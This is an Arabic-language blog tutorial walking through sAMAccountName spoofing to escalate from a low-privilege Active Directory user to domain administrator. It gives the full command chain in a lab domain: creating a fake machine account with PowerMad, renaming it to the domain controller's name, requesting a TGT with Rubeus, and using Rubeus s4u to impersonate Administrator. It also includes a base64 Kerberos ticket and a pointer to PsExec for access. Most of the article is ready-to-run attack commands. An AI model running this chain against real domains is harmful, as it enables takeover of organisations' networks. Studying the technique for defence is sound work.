Domain Privilege Escalation - Sam AccountName Spoofing

Jehad Alqurashiمنذ سنة

السلام عليكم ورحمة الله وبركاته

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

مقدمة:

 

في هذي المقالة راح نشرح التكينك التاسع لي الـDomain Privilege وهو الـ Sam AccountName Spoofing

 

قبل نبدا نطبق التكنيك خلونا نعرف ايش هي فكرة Sam AccountName Spoofing ؟

 

هذا التكنيك يتطلب انه يكون لك مستخدم على احد الاجهزة الموجودة على الدومين حتى لو كان بصلاحية منخفضة وفكرة التكنيك ببساطة انه راح ننشأ جهاز مزيف بـأي اسم بعد كذا راح نغير اسم الجهاز المزيف الى نفس اسم الـDomain Controller لكن بدون وضع علامة الـ$ وبعدها نطلب الـTGT الخاصة في جهازنا المزيف بعد كذا راح نغير اسم الجهاز المزيف اللي تم تسميته على اسم الـDomain Controller الى اي اسم اخر ومن ثم نقوم في اعادة استخدام ال TGT السابقة حتى نتمكن من طلب TGS الى اي سيرفرس خاصة في الـDomain Controller مثل cifs او ldap او http

 

 

لو تلاحظون انه ذكرت بعد ماناخذ الـTGT الخاصة في جهازنا المزيف نغير اسمه لانه وقت يكون معك TGT وتطلب TGS راح يبحث الـKerberos عن نفس اسم جهازك الموجود في الـTGT اذا مالقية راح يحط اخره علامة $ تلقائيا وهذا راح يتسبب في انه يجيب لنا الـTGS الخاصة في الـDomain Controller لانه الفرق بين اسم جهازك المزيف واسم الـDomain Controller هو علامة الـ$ 

الشرح:

اولا انا داخل بمستخدم منخفض الصلاحية اللي اسمه tester

راح اسوي Load الى اداة PowerView عن طريق هذا الامر:
 

import-module .\PowerView.ps1

الان قبل ان ننشأ جهاز مزيف نحتاج نعرف اسم جهاز الـDomain Controller عن طريق هذا الامر:
 

get-domaincontroller | select name

نلاحظ انه اسم جهاز الدومين كنترولر : JehadDC

 

الان راح نسوي Load الى اداة PowerMad عن طريق هذا الامر عشان ننشأ جهاز مزيف:

Import-Module .\powermad.ps1

الان راح ننشأ جهاز مزيف بأي اسم تبيه عن طريق هذا الامر ونحط له باسورد معين :

New-MachineAccount -Domain cyber.local -MachineAccount mortal -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose


 

الان انشأنا جهاز مزيف اسمه mortal والباسورد الخاص فيه هو Password123

 

الان عن طريق هذا الامر راح نحذف اي قيمة موجودة  في ال Attribute اللي اسمه serviceprincipalname الخاصة في جهازنا المزيف:
 

Set-DomainObject -Identity mortal -SearchBase 'CN=mortal,CN=Computers,DC=cyber,DC=local' -Clear 'serviceprincipalname'

 

الان راح نغير اسم الجهاز الى نفس اسم الـDomain Controller لكن بدون وضع علامة الـ$ حتى لا يحدث تكرار عن طريق هذا الامر:
 

Set-MachineAccountAttribute -MachineAccount "mortal" -Attribute "samaccountname" -Value "JehadDC"

الان راح نطلب الـTGT الخاصة في جهازنا المزيف عن طريق هذا الامر

.\Rubeus.exe asktgt /user:JehadDC  /password:Password123 /domain:cyber.local /dc:JehadDC.cyber.local /nowrap

 

الان بعد ماطلبنا الـTGT راح نرجع ونغير اسم الجهاز المزيف الخاص فينا الى اي اسم اخر عن طريق هذا الامر:

Set-MachineAccountAttribute -MachineAccount "mortal" -Attribute "samaccountname" -Value "mortal"

الان كل اللي علينا نرجع نستخدم اداة Rubeus ونطلب TGS الى اي سيرفرس موجوده على الـDomain Controller مثل cifs او ldap او http  عن طريق هذا الامر :)

 

.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/JehadDC.cyber.local /dc:JehadDC.cyber.local /ticket:doIFWjCCBVagAwIBBaEDAgEWooIEczCCBG9hggRrMIIEZ6ADAgEFoQ0bC0NZQkVSLkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0GwtjeWJlci5sb2NhbKOCBC0wggQpoAMCARKhAwIBAqKCBBsEggQXONv4VtKGctK6N8y5hTyGbrczP2TOHiaIN9/Js0nGw9J6TkFLuaQJ2QNPIKTXXbo6RQgptGLkc58P2EGIPMxvEBZ7g/PGyVh4+A4BY3zRA0jccvXCHSgxWLygUy0SuKk0aenBwIBIFKQFfYDlE5sYJ/HqSgI7GLhyzlOenyeCfRIVXUI+7coimDHrb7/cn8zhUZ/IY3TCv4rV9toeZWXfNYBmpoYq5QGX12GqWskZeIuGlVRd3CmYZpSGG6vWMbRZCWGJCj3KcdPvXG7lmqxYWuXJVfQJ1kcZXfwMZqKt9JtCoi8HehDpcGwd2u01c7NxFBLYOL3rVazfgEl5S1ZhNggIH0LDCLcqKQM7+IzjQxs/PcHwmIr/UIEwXYClm3TuW4kf0C1vHVJQC1yxvXJ6EzcHw3zL1zvdX/L+L8NQju/yJqfvdYqhbu9CWRanWdfZNOxKuy1UYuvGvp95fwk2DfH4YWaB4IhIM2vYVTgF9kt7Z66bLHnKsYlrllVZteROn6US78QDDWc59q+3MeXh70b7ZTHR2V+x+M4zp5G8YZCkHfZSM469/+MFv34Y1K9WH2SjgbYryQB+pCnvOoU946AGInRyhQ3NV/XmmWEYTwXxfORuVnkAVQS7emayTKR0SJBT3+0jhiGecwXOP9G07FBAnqx4+VyNR0Ypdppl0zIW0a8y7WNjp0Mgpj8CWO2+fb16HQfS+Kk3iLr1YAAniFDxV40eoRNHz98NA4KEFFPVDprI2g4MaAaQl3afSsbCFPywbFGMjxK5XCeWlgnsBFAK1OxCqU5d8YXSqA4s /ptt

الان راح نشيك عن طريق هذا الامر هل تم حقن ال TGS بنجاح في الميموري او لا (:
 

klist

الان راح نستخدم اداة PsExec من مايكروسوفت عشان ندخل لي جهاز الـDomain Controller

 

 

 

وصلنا الى نهاية المقالة

شاكر لكم.

كلمات دليلية: hacking
0
إعجاب
751
مشاهدات
0
مشاركة
2
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !